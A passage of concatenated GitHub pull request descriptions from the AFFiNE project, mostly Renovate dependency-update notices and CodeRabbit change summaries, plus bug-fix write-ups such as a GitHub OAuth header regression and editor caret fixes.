HELO values.
* **Chores**
* Updated example env and ignore rules.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
|
[apple-actions/import-codesign-certs](https://redirect.github.com/apple-actions/import-codesign-certs)
| action | major | `v5` → `v6` |
---
### Release Notes
<details>
<summary>apple-actions/import-codesign-certs
(apple-actions/import-codesign-certs)</summary>
###
[`v6`](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v5...v6)
[Compare
Source](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v5...v6)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [actions/setup-java](https://redirect.github.com/actions/setup-java) |
action | major | `v4` → `v5` |
---
### Release Notes
<details>
<summary>actions/setup-java (actions/setup-java)</summary>
###
[`v5`](https://redirect.github.com/actions/setup-java/compare/v4...v5)
[Compare
Source](https://redirect.github.com/actions/setup-java/compare/v4...v5)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [actions/setup-node](https://redirect.github.com/actions/setup-node) |
action | major | `v4` → `v6` |
---
### Release Notes
<details>
<summary>actions/setup-node (actions/setup-node)</summary>
###
[`v6`](https://redirect.github.com/actions/setup-node/compare/v5...v6)
[Compare
Source](https://redirect.github.com/actions/setup-node/compare/v5...v6)
###
[`v5`](https://redirect.github.com/actions/setup-node/compare/v4...v5)
[Compare
Source](https://redirect.github.com/actions/setup-node/compare/v4...v5)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
|
[actions/setup-python](https://redirect.github.com/actions/setup-python)
| action | major | `v5` → `v6` |
---
### Release Notes
<details>
<summary>actions/setup-python (actions/setup-python)</summary>
###
[`v6`](https://redirect.github.com/actions/setup-python/compare/v5...v6)
[Compare
Source](https://redirect.github.com/actions/setup-python/compare/v5...v6)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
### Problem
●In edgeless mode, when starting to edit, `note-block` exhibits two
types of invalid caret behavior:
(1)**Title Region Misalignment**: Clicking on the title region
incorrectly generates the caret in the first line of the note content,
rather than in the title itself.
(2)**Vanishing Caret at Line End**: When clicking in the empty space
beyond the end of a text section, the caret appears momentarily at the
line's end but disappears immediately.
●The following video demonstrates these issues:
https://github.com/user-attachments/assets/db9c2c50-709f-4d32-912c-0f01841d2024
### Solution
●**Title Click Interception**: Added a check to determine if the click
coordinates fall in the title region. If so, the caret positioning is
now handled by a dedicated logic path. Otherwise, it falls back to the
existing note-content logic as before.
●**Range Normalization**: When the generated `range.startContainer` is
not a `TextNode`, try to find a most appropriate `TextNode` and update
the `range` accordingly.
### After
●The video below shows the behavior after this fix.
https://github.com/user-attachments/assets/b2f70b64-1fc6-4049-8379-8bcf3a488a05
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Clicking a page block title no longer creates unwanted paragraphs and
reliably focuses the title.
* Paragraph creation now occurs only when needed and focus is applied
only after successful creation.
* Click coordinates are clamped to container bounds to prevent misplaced
cursors or focus.
* **Improvements**
* Caret normalization: clicks place the caret at the last meaningful
text position for consistent single-cursor behavior.
* **Tests**
* Added end-to-end coverage for caret placement and focus transitions.
* New ratio-based click/double-click test utilities and a helper for
double-clicking note bodies.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [actions/setup-go](https://redirect.github.com/actions/setup-go) |
action | major | `v5` → `v6` |
---
### Release Notes
<details>
<summary>actions/setup-go (actions/setup-go)</summary>
### [`v6`](https://redirect.github.com/actions/setup-go/compare/v5...v6)
[Compare
Source](https://redirect.github.com/actions/setup-go/compare/v5...v6)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [actions/labeler](https://redirect.github.com/actions/labeler) |
action | major | `v5` → `v6` |
---
### Release Notes
<details>
<summary>actions/labeler (actions/labeler)</summary>
### [`v6`](https://redirect.github.com/actions/labeler/compare/v5...v6)
[Compare
Source](https://redirect.github.com/actions/labeler/compare/v5...v6)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [actions/checkout](https://redirect.github.com/actions/checkout) |
action | major | `v4` → `v6` |
---
### Release Notes
<details>
<summary>actions/checkout (actions/checkout)</summary>
### [`v6`](https://redirect.github.com/actions/checkout/compare/v5...v6)
[Compare
Source](https://redirect.github.com/actions/checkout/compare/v5...v6)
### [`v5`](https://redirect.github.com/actions/checkout/compare/v4...v5)
[Compare
Source](https://redirect.github.com/actions/checkout/compare/v4...v5)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [actions/cache](https://redirect.github.com/actions/cache) | action |
major | `v4` → `v5` |
---
### Release Notes
<details>
<summary>actions/cache (actions/cache)</summary>
### [`v5`](https://redirect.github.com/actions/cache/compare/v4...v5)
[Compare
Source](https://redirect.github.com/actions/cache/compare/v4...v5)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Update | Change |
|---|---|---|
|
[Lakr233/MarkdownView](https://redirect.github.com/Lakr233/MarkdownView)
| patch | `from: "3.6.2"` → `from: "3.6.3"` |
---
### Release Notes
<details>
<summary>Lakr233/MarkdownView (Lakr233/MarkdownView)</summary>
###
[`v3.6.3`](https://redirect.github.com/Lakr233/MarkdownView/compare/3.6.2...3.6.3)
[Compare
Source](https://redirect.github.com/Lakr233/MarkdownView/compare/3.6.2...3.6.3)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My40My4yIiwidXBkYXRlZEluVmVyIjoiNDMuNDMuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
## 📝 Summary
This PR fixes a regression that caused the following error during GitHub
OAuth login:
> Unable to parse JSON response from
[https://github.com/login/oauth/access_token](https://github.com/login/oauth/access_token)
Related issue:
[https://github.com/toeverything/AFFiNE/issues/14334](https://github.com/toeverything/AFFiNE/issues/14334)
Regression introduced in:
[https://github.com/toeverything/AFFiNE/pull/14061](https://github.com/toeverything/AFFiNE/pull/14061)
---
## 🎯 Background
GitHub’s OAuth access token endpoint returns different response formats
depending on the request headers.
To receive a JSON response, the request must include:
```
Accept: application/json
```
If the `Accept` header is missing, GitHub responds with:
```
application/x-www-form-urlencoded
```
The current implementation assumes a JSON response and parses it
directly.
When a non-JSON response is returned, JSON parsing fails,
breaking the OAuth login flow.
---
## 🔍 Traffic Analysis (tcpdump)
Network path:
affine-graphql → (HTTPS) → envoy → (HTTP, tcpdump) → envoy → GitHub
### Observed Request
```
POST /login/oauth/access_token HTTP/1.1
host: github-proxy.com
content-type: application/x-www-form-urlencoded
accept: */*
...
```
### Observed Response
```
HTTP/1.1 200 OK
date: Sat, 28 Feb 2026 14:47:43 GMT
content-type: application/x-www-form-urlencoded; charset=utf-8
...
```
The `Accept` header was `*/*` instead of `application/json`,
causing GitHub to return a form-urlencoded response.
---
## 🐛 Root Cause
PR #14061 introduced a side effect in the request configuration.
Although the `Accept` header was initially defined,
the request options were later overwritten by the `init` parameter.
Because `init.headers` replaced the previously defined headers object,
the required header was lost.
Resulting in:
* Missing `Accept: application/json`
* GitHub returning `application/x-www-form-urlencoded`
* JSON parsing failure
* OAuth login failure
---
## 🔧 Changes
### 1️⃣ Fix header overwrite order
* Process the incoming `init` parameter first
* Explicitly overwrite required headers afterward
* Ensure `Accept: application/json` is always enforced
---
## 💥 Breaking Changes
None.
---
## 🧪 How to Test
1. Configure GitHub OAuth.
2. Attempt login via GitHub.
3. Verify that:
* The request contains `Accept: application/json`
* The response content-type is `application/json`
* No JSON parsing error occurs
* OAuth login completes successfully
---
## 📌 Notes
This change restores correct OAuth behavior and prevents regression
caused by header overwriting introduced in #14061.
The same header overwrite pattern identified in this issue
was also found in the calendar module and has been corrected there as
well.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Improved backend HTTP header handling for external integrations to
avoid unintended header overrides, ensuring content-type and encoding
hints are applied consistently and improving reliability of service
requests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
#### PR Dependency Tree
* **PR #14530** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Breaking Changes**
* Webpack bundler support removed from the build system
* Bundler selection parameter removed from build and development
commands
* **Refactor**
* Build configuration consolidated to a single bundler approach
* Webpack-specific build paths and workflows removed; development server
simplified
* **Chores**
* Removed webpack-related dev dependencies and tooling
* Updated package build scripts for a unified bundle command
* **Dependencies**
* Upgraded Sentry packages across frontend packages
(react/electron/esbuild plugin)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated Playwright test tooling to 1.58.2 across the repository and
test packages.
* **Tests**
* Improved end-to-end robustness: replaced fragile timing/coordinate
logic with element-based interactions, added polling/retry checks for
flaky asserts and async state, and simplified input/rename flows to
reduce test flakiness.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14526** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated Storybook component development tooling to version 10.2.13 for
improved stability and performance
* Removed Chromatic integration from the component preview system
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14525** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Removed an unused development dependency.
* Updated dotLottie/Lottie-related dependency versions across packages
and replaced a removed player dependency with the new package.
* **Refactor**
* AI animated icons now re-export from a shared component and are loaded
only in the browser, reducing upfront bundle weight and centralizing
icon assets.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Events can be dispatched in a detached context to avoid inheriting the
current transaction.
* **Bug Fixes**
* Improved resilience and error handling for event processing (graceful
handling of deleted workspaces and ignorable DB errors).
* More reliable owner assignment flow when changing document owners.
* **Tests**
* Added tests for doc content staleness with deleted workspaces.
* Added permission event tests for missing workspace/editor scenarios.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14510** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved calendar sync reliability with exponential backoff for
repeated failures.
* Better handling of token refresh failures with automatic account
invalidation and cleanup when needed.
* Subscriptions are now automatically disabled and related events
removed when the calendar provider reports missing resources.
* **Tests**
* Added comprehensive tests covering sync failures, backoff behavior,
token refresh handling, skipping retries during backoff, and recovery.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Upgraded TypeScript toolchain to v5.9.3 across packages and tooling.
* Removed legacy ts-node and migrated developer tooling to newer
runtimes (tsx/SWC) where applicable.
* **Documentation**
* Updated developer CLI docs and runtime behavior notes to reflect the
new loader/runtime for running TypeScript files; no changes to public
APIs or end-user behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Version bumped to 0.26.3 across the project and Helm charts.
* Removed an unused dependency (minimatch) from multiple packages.
* Updated build/tooling and packaging metadata, including packaging
maker replacement.
* Adjusted app release metadata and platform packaging config.
* **Tests**
* Updated test snapshots to reflect minor presentational styling
adjustments.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14505** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Improvements**
* Better image-proxy detection to avoid double-proxying already proxied
images.
* Improved runtime image proxy configuration so images load consistently
across deployments.
* More robust image URL handling for optimized image loading and fewer
redundant requests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
Fixed the text formatting toolbar not working properly on mobile web
browsers.
## Problem
The toolbar had multiple issues on mobile devices:
- It would render off-screen or be covered by the virtual keyboard
- The flag-based rendering system caused visibility issues on mobile
- Long-press text selection didn't trigger the toolbar
- Wide toolbars could overflow the viewport
<img
src="https://github.com/user-attachments/assets/8f54590c-1d2c-4c87-abab-32206df17ebf"
width="250">
## Solution
- Use fixed positioning at bottom of screen on mobile devices
- Position toolbar above virtual keyboard using Visual Viewport API
- Handle toolbar visibility directly via `selectionchange` event
- Bypass flag-based rendering system on mobile to avoid rendering issues
- Add `touchend` listener to handle long-press text selection
- Limit toolbar max-width to viewport minus padding
- Enable horizontal scrolling for overflow content
<img
src="https://github.com/user-attachments/assets/45130860-f01a-45c1-87c5-d43264f88613"
width="250">
## Test plan
- [x] Tested on mobile Safari (iOS)
- [x] Tested on mobile Chrome (Android)
- [x] Verified desktop browsers still work correctly
- [x] Verified the toolbar is fixed to the bottom of the screen and
above virtual keyboard
- [x] Verified long-press text selection triggers toolbar
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Improvements**
* Mobile toolbar now anchors to the bottom, adapts width, and
repositions dynamically to stay above on-screen keyboards.
* Toolbar visibility is context-aware, showing when native-like text
selections occur and hiding otherwise; touch interactions are handled
for reliable toggling.
* Desktop experience and public APIs remain unchanged.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <darksky2048@gmail.com>
#### PR Dependency Tree
* **PR #14503** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Improved CI efficiency with targeted Rust test detection and
workspace-scoped builds for faster, more focused runs.
* Added workflow static-analysis configuration and refined
Node/Playwright/Electron build flags and platform controls.
* Added a new test workspace dependency and TypeScript project reference
for blocksuite tests; updated workspace wiring for focused builds.
* Cleaned CI environment handling for server test orchestration.
* **Bug Fixes**
* Hardened mobile release steps (safer credential handling and quoting)
to improve iOS/Android publish reliability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13397fix#14011
#### PR Dependency Tree
* **PR #14502** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Centralized CORS policy with dynamic origin validation applied to
server and realtime connections
* Improved sign-in flows with contextual, localized error hints and
toast notifications
* Centralized network-error normalization and conditional OAuth provider
fetching
* **Bug Fixes**
* Better feedback for self-hosted connection failures and clearer
authentication error handling
* More robust handling of network-related failures with user-friendly
messages
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes issue #14036 where hiding a column used in filters caused empty
table/kanban results.
Root cause: filter evaluation built the row map from visible properties
only.
Change: evaluate filters using full property set (propertiesRaw$) so
hidden filtered columns still participate.
Added unit regressions for both table and kanban hidden-column filtering
behavior.
Verified this does fix the filtering issue for hidden columns:
<img width="3440" height="1440" alt="Screenshot of before and after
views of a database with hidden columns and filtering on said column"
src="https://github.com/user-attachments/assets/c1e2674f-06be-44e9-97bd-63593172f05b"
/>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed filtering in Kanban and Table views so filters evaluate against
all properties (including hidden/raw columns), ensuring consistent
results regardless of column visibility.
* **Tests**
* Added tests covering filtering behavior with hidden and filtered
columns to prevent regressions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14269fix#13920fix#13977fix#13953fix#13895fix#13905fix#14136fix#14357fix#14491
#### PR Dependency Tree
* **PR #14498** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Callout and toolbar defaults now reliably show grey backgrounds
* Keyboard shortcuts behave better across layouts and non-ASCII input
* Deleted workspaces no longer appear in local listings
* **New Features**
* Cell editing now respects pre-entry validation hooks
* Scrollbars use themeable variables and include Chromium compatibility
fixes
* **Style**
* Minor UI color adjustment for hidden properties
* **Tests**
* Added unit tests for table column handling and keymap behavior
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14488** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Improved Electron build to trim unused locale files on macOS, Windows,
and Linux while always preserving English fallbacks; added post-build
cleanup and stricter packaging ignore rules to exclude tests, examples,
scripts, docs, README, and build metadata.
* **Style**
* Reformatted a TypeScript type annotation for consistency.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14487** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Enhanced history record creation to prevent duplicate entries in
concurrent scenarios.
* **Tests**
* Added validation for idempotent history record creation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14485** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Admin static assets now served under /admin for self-hosted installs
* CLI is directly executable from the command line
* Build tooling supports a configurable self-hosted public path
* Updated admin package script for adding UI components
* Added a PostCSS dependency and plugin to the build toolchain for admin
builds
* **Style**
* Switched queue module to a local queuedash stylesheet, added queuedash
Tailwind layer, and scoped queuedash styles for the admin UI
* **Bug Fixes**
* Improved error propagation in the Electron renderer
* Migration compatibility to repair a legacy checksum during native
storage upgrades
* **Tests**
* Added tests covering the migration repair flow
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14475
#### PR Dependency Tree
* **PR #14483** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **New Features**
* Enhanced MCP server token management with improved security—tokens now
display only once with redaction support.
* Updated token creation and deletion workflows with clearer UI state
controls.
* Added tooltip guidance when copying configuration with redacted
tokens.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13529
#### PR Dependency Tree
* **PR #14481** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Mobile blob caching with file-backed storage for faster loads and
reduced network usage
* Blob decoding with lazy refresh on token-read failures for improved
reliability
* Full-text search/indexing exposed to mobile apps
* Document sync APIs and peer clock management for robust cross-device
sync
* **Tests**
* Added unit tests covering payload decoding, cache safety, and
concurrency
* **Dependencies**
* Added an LRU cache dependency and a new mobile-shared package for
shared mobile logic
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14465
In Chinese mode, the document with the specified name may not be
displayed correctly in the sidebar, and it may be mistaken for the
translation of the content that needs to be translated.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed document title display in navigation panels on desktop and
mobile to properly render without additional processing steps.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14450fix#14401fix#13983fix#12766fix#14404fix#12019
#### PR Dependency Tree
* **PR #14456** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added new tab navigation functions: `switchTab`, `switchToNextTab`,
and `switchToPreviousTab`.
* **Bug Fixes**
* Improved bounds validation for tab view resizing.
* Enhanced tab lifecycle management during navigation events.
* Refined background throttling behavior for active tabs.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14452** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved null-safety, dependency tracking, upload validation, and
error logging for more reliable uploads, clipboard, calendar linking,
telemetry, PDF/theme printing, and preview/zoom behavior.
* Tightened handling of all-day calendar events (missing date now
reported).
* **Deprecations**
* Removed deprecated RadioButton and RadioButtonGroup; use RadioGroup.
* **Chores**
* Unified and upgraded linting/config, reorganized imports, and
standardized binary handling for more consistent builds and tooling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14449** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Improvements**
* Search text normalization now applied consistently across doc titles,
search results, and highlights for uniform display formatting.
* **Tests**
* Added comprehensive test coverage for search text normalization
utility.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14432
#### PR Dependency Tree
* **PR #14445** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Improved file upload handling to ensure consistent support for
different data formats during object and multipart uploads.
* Enhanced type safety throughout storage and workflow components by
removing unnecessary type assertions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14433
#### PR Dependency Tree
